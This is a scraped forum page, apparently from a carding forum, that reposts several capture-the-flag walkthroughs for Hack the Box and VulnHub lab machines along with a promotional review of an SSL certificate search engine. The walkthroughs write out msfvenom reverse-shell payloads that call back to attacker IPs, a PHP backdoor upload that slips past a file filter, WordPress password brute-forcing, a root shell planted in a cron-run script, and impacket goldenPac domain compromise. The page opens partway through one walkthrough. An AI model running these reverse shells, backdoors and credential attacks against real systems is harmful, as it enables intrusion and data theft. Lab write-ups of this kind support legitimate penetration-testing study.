![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-10Eh8H94QEw/WsegLGnFLlI/AAAAAAAAWIw/BmtM7gxelt8NCS-VkGXwBCKIbdvbO4QIgCEwYBhgL/s1600/22.png?w=687&ssl=1)
Now to exploit the file we create a c program in our system that can give us the root.txt file in root directory. After creating the file we use SimpleHTTPServer module of python to transfer the file.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-SVBB5cbb43Q/WsegLV-Yt8I/AAAAAAAAWIY/0GW-Pz2h7xA_iHhjyJ6oU4m4fg6mXpp4ACEwYBhgL/s1600/23.png?w=687&ssl=1)
We now download the file into the target system using wget.
wget [To see content please register here]
1
wget [To see content please register here]
After downloading the file we compile the c program and save the compiled executable as rootshell.
gcc shell.c -o rootshell
1
gcc shell.c -o rootshell
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-uCB9w1YX4EQ/WsegL5z5hnI/AAAAAAAAWIg/MoV4UjU2HSI2vT43COLkZcF0XK0vmqYWQCEwYBhgL/s1600/24.png?w=687&ssl=1)
We now wait for the system to change the user and group of the file. As soon as it changes the user and group of the file we run it and find the final flag.
|
|
|
|
| [Guide] How to Hack the Box Challenge: Bank Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:42 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.29
1
nmap -A 10.10.10.29
From given below image, you can observe we found ports 22, 53 and 80 are open in victim’s network. As you have seen in our all previous lab that we love to explore target IP via port 80 on our web browser, similarly we follow that tradition in this also but Bad Luck!! this time it didn’t work at all.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-uuNyBdvIJbY/WscUxR0Dd-I/AAAAAAAAWFU/-BAPWjnYTfA7eNwO3SjHg-cfYBWDNtDvACLcBGAs/s1600/1.png?w=687&ssl=1)
Now the last option was to add target IP inside /etc/host file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Yw8KExbkHdw/WscU0dpRn5I/AAAAAAAAWF0/VNBIEbTOv7Y9ZDbKYbcAIYWJTGTFeXK7QCLcBGAs/s1600/2.png?w=687&ssl=1)
Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-TNkuHArQY_s/WscU0zRD-aI/AAAAAAAAWF4/JabuQfMqH-UIfuEp1mmz2KD7GGRLhNSswCLcBGAs/s1600/3.png?w=687&ssl=1)
Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on [To see content please register here] for PHP file extension.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NNjgeEowoIU/WscU056mOmI/AAAAAAAAWF8/H91vQyYzP2IF7D1YHIxU_boFoyk-cPzyACLcBGAs/s1600/4.png?w=687&ssl=1)
Here I found so many directories but I was interested in the support.php file. So when I try to explore [To see content please register here] I was unable to access this web page as I was always redirected to login page due to HTTP response 302.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-MKOIatXMgJ0/WscU0-OPhEI/AAAAAAAAWGA/Ssv94f5-WUkMGoEBQcj5a6M_wh9QxlxXwCLcBGAs/s1600/5.png?w=687&ssl=1)
So I installed the noredirect plugin from firefox that allows me to stop any 302 redirections. I simply added [To see content please register here] to the noredirect plugin so it can stop redirecting to /login.php consistently.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-tJ9UhhxhQMk/WscU1eL1uCI/AAAAAAAAWGE/Qb0H6ThUDFouGTGx7p2RQrqhVTzBBn6TwCLcBGAs/s1600/6.png?w=687&ssl=1)
So now I’m able to access the exact support.php page where I saw an upload option for uploading a PHP file hence we can try to upload a PHP backdoor instead of a genuine PHP file.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-VRSlykQ96DI/WscU19cgVqI/AAAAAAAAWGM/H8O0MvAEBNkQeV_O04St05D0LjUnSV4BACLcBGAs/s1600/7.png?w=687&ssl=1)
Using msfvenom we had created a malicious shell.php file by executing following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw
Simultaneously run multi/handler for reverse connection of the victim’s system.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-M8jxgqgdvjg/WscU1ivpEYI/AAAAAAAAWGI/bxVb_6Xxv9g-fWVxBNb5HiM2vH6BkZv5ACLcBGAs/s1600/8.png?w=687&ssl=1)
Then with the title shell, I upload shell.php by adding “ignite” in the message box and click on submit. But failed to upload this file therefore without wasting time I simply intercept our browser HTTP request in Burpsuite.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-isQQiGrNQ_U/WscUxRsDUaI/AAAAAAAAWFQ/9HDOeWH6I0Ej2MVoiv6T8IR387Jq3FQGwCLcBGAs/s1600/10.png?w=687&ssl=1)
From given below image you can observe that we had fetched intercepted HTTP request of the uploaded shell.php file.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-LnJFXKaCbzA/WscUxZmdN6I/AAAAAAAAWFM/UCFyiEoS8FQNKOYDScE77H8XhosFrsuRACLcBGAs/s1600/11.png?w=687&ssl=1)
After so many attempts I simply modify shell.php into shell.htb and forward the intercepted data.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-HuqfOwzRKgI/WscUyEGtHbI/AAAAAAAAWFY/YB5yZet4ZO43PAW6-mNSzWEFrgXOl990QCLcBGAs/s1600/12.png?w=687&ssl=1)
YES!! It successfully gets uploaded, then I run this file and move back to the Metasploit framework for the meterpreter session.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-6dBRE8JuOls/WscUyVutU0I/AAAAAAAAWFc/R_O66zVC-Yc3E_XmJPRSccoGtk5GRp5owCLcBGAs/s1600/14.png?w=687&ssl=1)
After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
meterpreter>sysinfo
1
meterpreter>sysinfo
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-GuW5URV0gxA/WscUyXKxmeI/AAAAAAAAWFg/rWHQQKZUEl43FCnh8_YMDh6UnA4I9LihwCLcBGAs/s1600/15.png?w=687&ssl=1)
Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
Here one directory chris, when I explore /home/chris I saw user.txt and use cat command for reading.
cd chris
ls
cat user.txt
1
2
3
cd chris
ls
cat user.txt
Great!! Here we had completed 1st task now move to 2nd tasK
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-fPA2spGQ0ew/WscUy1t4OGI/AAAAAAAAWFk/r2d2iHn11aMzYUdHWVS0L0nvEHVZFyh1QCLcBGAs/s1600/16.png?w=687&ssl=1)
Inside /var/www/bank/uploads directory I checkout root privileges directory by executing following command.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
As result, it dumps so many directories have root privileges but I look at /var/htb/bin/emergency.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-QS8hV8OOQq0/WscUztbQwyI/AAAAAAAAWFo/85kXzw34uaccsVlQs2PG513c3mRFPfsqwCLcBGAs/s1600/17.png?w=687&ssl=1)
When I extract all directory here I found an emergency file which I had run for getting root access as shown below in the image.
./emergency
id
1
2
./emergency
id
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-TxIQZMUK63M/WscU0Fp-chI/AAAAAAAAWFs/OXKY2sUgUnoq3gBpu70TJ5rYCMQvNd-9ACLcBGAs/s1600/18.png?w=687&ssl=1)
Now let’s get the root.txt by executing the following command.
cd /root
cat root.txt
1
2
cd /root
cat root.txt
We have successfully completed 2nd task.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-GGHYXZWyQ2s/WscU0cZX6jI/AAAAAAAAWFw/ogYeFXrTxTgVxhb9C_UmnMahP9RCZD3AwCLcBGAs/s1600/19.png?w=687&ssl=1)
Hello friends! Today we are going to take another CTF challenge known as BSides Vancouver. The credit for making this VM machine goes to “Abatchy” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM [To see content please register here] .
Let’s Breach!!!
Let’s start from getting to know the IP of VM with help of netdiscover Command (Here, I have it at 192.168.1.103 but you will have to find your own). Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 192.168.1.103 --open
1
nmap -p- -A 192.168.1.103 --open
Awesome!! Nmap has done a remarkable job by dumbing the details of services running on open port 21, 22 and 80.
Moreover, the highlighted text is revealing the following details: - FTP Anonymous login allowed
- Found a directory /backup WordPress with help of txt
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qCre6ntTZKA/WsUHPDS6aZI/AAAAAAAAWD8/BgGFgID_SfcTuT1WGlJX6ZedctSR3-zAQCLcBGAs/s1600/1.png?w=687&ssl=1)
Without wasting time we accessed the FTP service of the victim’s system and found a user.txt.bk, let’s look into this file.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GTWK8nfgj9Y/WsUHSYi37WI/AAAAAAAAWEc/-jeGHgWR0dAkCDNjTCau_hxTOCuJi4E-wCLcBGAs/s1600/5.png?w=687&ssl=1)
Its look like a text file with some username in it. Since port 22 is open so we can use these name for login into ssh if possible.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-T8CK7kfREUw/WsUHSjE1ZsI/AAAAAAAAWEg/mONjt4LU-qo9Irtt9FKjZLQBUthF27WiQCLcBGAs/s1600/6.png?w=687&ssl=1)
If you recall nmap result then it has shown /back_wordpress directory which we had to explore in our web browser but Sadly we didn’t get anything from this web page although it sounds for WordPress site which is also a good sing.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-K_LHwsfGXiA/WsUHTGF5PtI/AAAAAAAAWEk/oL_zHk83RdkBVdV2YLj3Z4BXSKU0OZCxQCLcBGAs/s1600/7.png?w=687&ssl=1)
Now we decided to use the command on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins, username and etc.
wpscan –u [To see content please register here] --enumerate t --enumerate p --enumerate u
1
wpscan –u [To see content please register here] --enumerate t --enumerate p --enumerate u
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0DEj9CkuFBE/WsUHTROIoEI/AAAAAAAAWEo/E0hjAoa_L5MwAd8w7pUkP0jxcrkYzdIWwCLcBGAs/s1600/8.png?w=687&ssl=1)
The wpscan has enumerated the usernames where we have found the login credentials as admin and John.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-a1LEo2fG-Rc/WsUHTt1GioI/AAAAAAAAWEs/7ptth7vnqLMORm4ETYW2H-yDdSjbAcaZQCLcBGAs/s1600/9.png?w=687&ssl=1)
Again we have used wpscan to find out the password credentials for the login credentials john. Here we have used the following command to enumerate the password from the rockyou.txt file.
wpscan –u [To see content please register here] --username john --wordlist /usr/share/wordlists/rockyou.txt
1
wpscan –u [To see content please register here] --username john --wordlist /usr/share/wordlists/rockyou.txt
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FLmfEG8cAV4/WsUHOuGIueI/AAAAAAAAWD0/V7-BnJF0QTE_O1ShFVGofBbJrabafJ67gCLcBGAs/s1600/10.png?w=687&ssl=1)
We see that for login credentials john, the password credentials matched is enigma.
![[Image: 11.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-3m3VWVjUvEk/WsUHPAqRHrI/AAAAAAAAWD4/TOUpBNlk07sayl36yCmVh_ogAGcEu5N0wCLcBGAs/s1600/11.1.png?w=687&ssl=1)
After finding the username and password, we have used metasploit’s exploit wp_admin_shell_upload to upload the shell and get the meterpreter which is shown below.
use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) >set rhost 192.168.1.103
msf exploit(unix/webapp/wp_admin_shell_upload) >set targeturi /backup-wordpress
msf exploit(unix/webapp/wp_admin_shell_upload) >set username john
msf exploit(unix/webapp/wp_admin_shell_upload) >set password enigma
msf exploit(unix/webapp/wp_admin_shell_upload) >exploit
1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) >set rhost 192.168.1.103
msf exploit(unix/webapp/wp_admin_shell_upload) >set targeturi /backup-wordpress
msf exploit(unix/webapp/wp_admin_shell_upload) >set username john
msf exploit(unix/webapp/wp_admin_shell_upload) >set password enigma
msf exploit(unix/webapp/wp_admin_shell_upload) >exploit
Great!! We had compromise confidentiality of the target’s system now penetrate more for completing this challenge.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-6LtSiIqrtPY/WsUHP9hQ-QI/AAAAAAAAWEA/1t-mMGaRDAAu8ggfKOeRVqZ7cLf7CtaKACLcBGAs/s1600/11.png?w=687&ssl=1)
We start penetrating targets machine and after 10-15 mints we came to know about a cleanup file which has root privilege from inside contents of crontab file.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zTEipTHHxe0/WsUHQMhiUfI/AAAAAAAAWEE/h3r5014Sg7k7M1j_rYHuVY9Cf4Ms7Ie3QCLcBGAs/s1600/22.png?w=687&ssl=1)
Then we downloaded cleanup file on our desktop so that we can modify it by editing our malicious code.
meterpreter> download cleanup /root/Desktop/
1
meterpreter> download cleanup /root/Desktop/
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-2xPGvrOQOxA/WsUHQRagYiI/AAAAAAAAWEI/yRHNb55gAKcB7eEuuhWAj_9QfsHh_hiZQCLcBGAs/s1600/23.png?w=687&ssl=1)
Using msfvenom we had generated a malicious python code by executing following command.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.108 lport=9876 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.108 lport=9876 R
Then copy the highlighted code for editing into the cleanup file.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ghSHzrXA3XQ/WsUHQ3MIapI/AAAAAAAAWEM/bNTnuR9fFFUnFpv60CWps2rwFnoH-AQeQCLcBGAs/s1600/25.png?w=687&ssl=1)
We had paste above copied text as the inside cleanup file as shown in below image. In a new terminal, we had start netcat for listening reverse connection.
nc -lvp 9876
1
nc -lvp 9876
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-5K4nugjX9sw/WsUHRNB4j6I/AAAAAAAAWEQ/NGpGW1DjUf4_TkI1OBFZJ-RA3UQ5W9QagCLcBGAs/s1600/26.png?w=687&ssl=1)
Now we had to transfer our malicious cleanup file into current directory i.e. /usr/local/bin and verify it using cat command.
meterpreter> upload /root/Desktop/cleanup .
meterpreter>cat cleanup
1
2
meterpreter> upload /root/Desktop/cleanup .
meterpreter>cat cleanup
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-7F0_K4IteoI/WsUHRfMi3LI/AAAAAAAAWEU/GeyzMu4QIEgQVY3bC_UjJCxXOuWrNsFNQCLcBGAs/s1600/27.png?w=687&ssl=1)
WOW, we got the reverse connection from victims system with root access now let’s catch the flag and finished the task.
id
cd /root
cat flag.txt
1
2
3
id
cd /root
cat flag.txt
solving the challenge in this lab is not that much hectic therefore it is a good task for beginners.
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-7Ob_THMAFFI/WsUHR1Y5l-I/AAAAAAAAWEY/cKgUoyw-U0YW2Ax_kjq6ngjwAxGJT0IJgCLcBGAs/s1600/28.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Mantis” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much easy until you don’t have some knowledge of Penetration testing. Let start and learn how to analyze any vulnerability in a network then exploit it for retrieving desired information.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online accessible therefore they have static IP. The IP of Mantis is 10.10.10.52 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.52
1
nmap -A 10.10.10.52
From the given below image, you can observe we found so many ports are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ff12tHu22Xw/WsTkiZp2YlI/AAAAAAAAWDo/4PZUKnMWIZwesxEWPIoQ9C-xJwo89U0fQCEwYBhgL/s1600/1.png?w=687&ssl=1)
Since we have run nmap aggressive scan therefore in below image you can observe remaining result where the highlighted text is pointing towards victim’s system domain name and FQDN.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-JcLFY1KXuPA/WsTkk5xwlCI/AAAAAAAAWDU/i4xvmClzSZQrbg9Wc7iQ_4Ow1qfxUqyowCEwYBhgL/s1600/2.png?w=687&ssl=1)
First of all, we browse target IP through port 1337 in our web browser and saw following the image of IIS7 and although here I didn’t get any clue for next step therefore automatically next I move for directory buster.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-7VPIzrQChZM/WsTkmXeHQ-I/AAAAAAAAWDU/WefoVF0rEfE80sJVQxI2oIncvOcCdGV4wCEwYBhgL/s1600/3.png?w=687&ssl=1)
Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on [To see content please register here] for PHP file extension.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FFJlL4gCRjs/WsTkmm1XSaI/AAAAAAAAWDo/8MyiI3dOUAYFsJleRcz6LU9kTdRGYguegCEwYBhgL/s1600/4.png?w=687&ssl=1)
As result, I found a directory /secure notes with 200 ok response.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-a_FI83djbTE/WsTkmpzTu_I/AAAAAAAAWDY/wAOMaqEa7c8RQ4p4PLmnE4AmkZFxxwonQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Here I saw two files dev_notes and web.config among these I’m interested in dev_notes test file to let’s open it.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-1GxeDAeLmMs/WsTknKhvQdI/AAAAAAAAWDk/IAY4i8V76uUj2OxgBL7mqJhZFeCIPYYsQCEwYBhgL/s1600/6.png?w=687&ssl=1)
When I open a dev_notes text file I read following contents as shown in below image and realize that it points towards a database “orcharddb” have “admin” as username, now I only need to know the required password for login into the database.
To me, the file “/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt” was looking suspicious as “NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx” was base 64 encoded, therefore, I need to decode this text for the correct assumption of getting the password.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-XqKKOJKzAFY/WsTknb8ambI/AAAAAAAAWDg/liYRVwQL5qcXZFYlk7dlVW6_SeErcYybQCEwYBhgL/s1600/7.png?w=687&ssl=1)
When I decode our base 64 encoded text further I get hex code from inside it.
![[Image: 8.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-1sZnYTDHHnE/WsTknQjOQAI/AAAAAAAAWDo/49okrmw-kiEPoVHxGy53neYnwUVlv12KwCEwYBhgL/s1600/8.1.png?w=687&ssl=1)
After decoding the above hex text finally I found a password for admin user.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BSkpNQWKjWI/WsTkoN8rvrI/AAAAAAAAWDk/xuLOejn5cuISX-7QHQN5uSOZmsegx5Q0gCEwYBhgL/s1600/8.png?w=687&ssl=1)
Using dbeaver we are going to connect to ms SQL server as shown below in the image. Now let login into the database using database name and above-found credential via port 1433
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-LI8Wp67d5Rs/WsTkiZyTq7I/AAAAAAAAWDk/zNGkL0DZztcR-Vu2wdTb71zUBVWLscQLwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Great!! We are inside the database now let enumerate database tables for retrieving some important information.
![[Image: 15.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wdOvu1AYE70/WsTkjdmVYMI/AAAAAAAAWDY/0zXgQNtwMZMbBN9YN8t4hS2-ezG1r_inQCEwYBhgL/s1600/15.1.png?w=687&ssl=1)
Further down the table blog_Orchad_Users_UserPartRecord, I was able to catch the columns that hold usernames and passwords and found two usernames.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-D8DB2K9EW9g/WsTkjveI8_I/AAAAAAAAWDY/hOcVsZDU6ukrTkWkYEt7cA9wfQbyGUNGgCEwYBhgL/s1600/15.png?w=687&ssl=1)
We had manually added target IP with htb.local and matis.htb.local the domain names which we have found through nmap in our local host file.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WZFYHRpe7MQ/WsTkjYZZHaI/AAAAAAAAWDk/mfuS9dqQWBMoqtPzBJDKlZabeqYJFF05ACEwYBhgL/s1600/16.png?w=687&ssl=1)
Then we have installed impacket from git hub as given below command.
git clone [To see content please register here]
1
git clone [To see content please register here]
Impacket is an assembly of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (for instance NMB, SMB1-3, and MS-DCERPC) the protocol implementation itself.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-rnDwOc1tVLI/WsTkkA_sDdI/AAAAAAAAWDQ/AOZ5Q7nsubgqgdkNPpcl-B8jdGy5ntBFACEwYBhgL/s1600/17.png?w=687&ssl=1)
Now run install the downloaded file by executing following command
python setup.py install
1
python setup.py install
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-0hagrnX3R1M/WsTkkVaElfI/AAAAAAAAWDc/QCQ869WazSEyp0v1H7BgBSSyWHzHQKNXACEwYBhgL/s1600/18.png?w=687&ssl=1)
Impacket contains goldenpac python file which is used for post exploitation, now execute given below command and access the victim’s terminal through that.
goldenPac.py htb.local/[email protected]
1
goldenPac.py htb.local/[email protected]
From given below image you can observe that we had access victim’s terminal.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-osxLYxMm4cI/WsTkkebm1AI/AAAAAAAAWDk/DjMAIZLiA1QqEuEORYCMdhlUyYe-6piyACEwYBhgL/s1600/19.png?w=687&ssl=1)
Now let’s finished the task by grabbing user.txt and root.txt file. First I move into james directory and check available files and directories inside it.
cd james
dir
1
2
cd james
dir
Here I got a Desktop directory and after exploring it we found so many files and directory, at last, I fetch the user.txt file from inside /james /Desktop/ and use cat command for reading.
type user.txt
1
type user.txt
Our 1st challenges finished successfully now move for 2nd challenge.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-dPBlls7b4XI/WsTklhmTXUI/AAAAAAAAWDo/H_1Mwdl6YqMW6Xzwn7BL6XrwTSPWsVpBACEwYBhgL/s1600/20.png?w=687&ssl=1)
At last, I fetch the user.txt file from inside /Administrator/Desktop/ and use cat command for reading.
type root.txt
1
type root.txt
Awesome!! We had successfully completed the challenge by finding both the text file.
Happy Hacking!!
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-86RQNWBHh1s/WsTkl-lSpyI/AAAAAAAAWDo/F5ea_Kt6R7UNiOWy0O9F5JjesW9jX0hpwCEwYBhgL/s1600/21.png?w=687&ssl=1)
It’s generally believed that an SSL certificate is just a minor collection of the data files that digitally bond the cryptographic key to the businesses’ details. Everyone supposedly knows that without the SSL certificate, all of the proper secure data on the website could get intercepted and used for blackmailing, identity theft, etc. Likewise, the certificate is important as a mean of forming the trust in the website and the commercial customer attraction. All of the listed benefits could be exploited by using the service, called [To see content please register here] , or by figuring out each one of them manually. Thanks to the user friendly interface of the service, however, I think it’s a worthwhile option for those only starting to wonder if the SSL certificates have the ability to change the nature of things around us.
![[Image: image002.gif?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-aoaCf9NxrgQ/WsS99uU0NWI/AAAAAAAAWBs/nwlCoDM4rbYYvqJH34R8K8gqxWkdZiGjACLcBGAs/s1600/image002.gif?w=687&ssl=1)
The [To see content please register here] is an SSL certificate search engine that could be used for the various purposes. First of all, it allows the companies who specialize in the security breaches to find the problematic certificates with the aim of weakening the possibility of the hacker attacks. The service also functions as a useful tool during the penetration tests. Not to forget to mention that with the help of the certificate analysis one may discover the subdomains and domains of the particular focus that could turn to be vulnerable. Such an information may be used not only for the security but also in a profitable way. A commercial SSL-selling company, for example, could boost its own sales by warning those suffering from the “holes” in the system. Although, there is clearly no need to think of [To see content please register here] as os some advanced mechanism that is of no use to the non-experts on the internet. On the opposite, the service could turn to be truly practical, regardless of the fact that the creators position their service primarily for the research.
![[Image: image004.gif?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-hwvOS9u9GzE/WsS9-tfPOHI/AAAAAAAAWB0/Yx8C3-WDiawyElmwcvH1YfZOhpVywbmzgCLcBGAs/s1600/image004.gif?w=687&ssl=1)
Have you ever wondered how come a simple internet user may figure out the plans of the entire company? Despite the various establishments’ enormous efforts to remain free of private info breaches and the strict non-disclosure deals, which could keep secrets for as long as desired, things could get leaked pretty easily. By exploiting the direct searching software of CertDB, one can surely find the newly-released SSL certificates that could be used for gathering the info, such as the company’s used domains, subdomains, and IP addresses. Thus, such a data could help the owner to interpret it in the variety of ways. For instance, the company may have just registered the domain indicating the upcoming start of the initial coin offerings (ico.xxx.com). This small piece of evidence may be actually crucial as it can be used for the competitive analysis and other business analytics among others. Sometimes, the company of the focus may issue the certificate in an organization with the domains of the other companies, which could mean the collaboration or the purchase of one company by another. Clearly, such a data could potentially benefit the owner as it can generate profits as an insight info or even lead to the start of the investigation (if there are hints of the unfair business practices). I, personally, find this to be truly appealing as CertDB has the promising power to shape the entire industries with its innovative and useful searching engine.
CertDB is clearly an unparalleled project, and there is an obvious need to mention the people working behind the doors of it. The SSL certificate search engine is only possible due to the [To see content please register here] of highly-skilled security specialists and IT experts of the area that constantly work on the IT projects all across the globe. Besides, it’s fair to claim that the innovation is continuous, which is something that personally fascinates me. As I was writing this article, the SPYSE team has just released the subdomain searching tool ([To see content please register here] ) that looks promising to me after doing the first-hand analysis. I will attempt to fully review the newly-released service in the short time, although there is one outstanding thing that I should already mention, being the free using cost of the service. It seems to me that the entire SPYSE team is functioning with the waves of enthusiasm in mind. Besides, there is a manifest sign of professionalism as can be seen by the capabilities of the CertDB website.
![[Image: image006.gif?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-5hAAF4M4rKE/WsS9-jPUtVI/AAAAAAAAWBw/va6lcyuYhEoWzmH0pnLWCg0j_fqYS2XzgCLcBGAs/s1600/image006.gif?w=687&ssl=1)
More should be said about the project’s mission and why it has come to exist with the effort of the [To see content please register here] mentioned above. The inventors of CertDB hold a belief that the internet is developing at an incredibly rapid speed, which only furthers the issues of data security and privacy concerns that could potentially happen in any web project of the focus. To this end and with the purpose of disclosing the hidden info to the public, [To see content please register here] keeps functioning for the needs of the average users who want to know more about the various companies and conglomerates. The fact that CertDB, an internet-wide SSL search engine, exists allows to both browse the “outdated” data as well as to obtain the newly-published one. Frankly, such things could change the way I look on the use of data, which is something I don’t say that much often.
Every time I want to stick my nose where it does not belong, I do realize that CertDB is the best option for me to use in such a situation. It’s free of charge, has the most accurate database of the SSL certificates and is easy to use for those inexperienced with the web surfing processes. Personally, I would continue to use [To see content please register here] and exploit all of the service’s benefits. Although, I hope that you have been able to reconsider your position on the importance of the SSL certificates.
|
|
|
|
| [Guide] How to Hack the Box Challenge: Shocker Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:39 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Shocker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Shocker lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -A 10.10.10.56
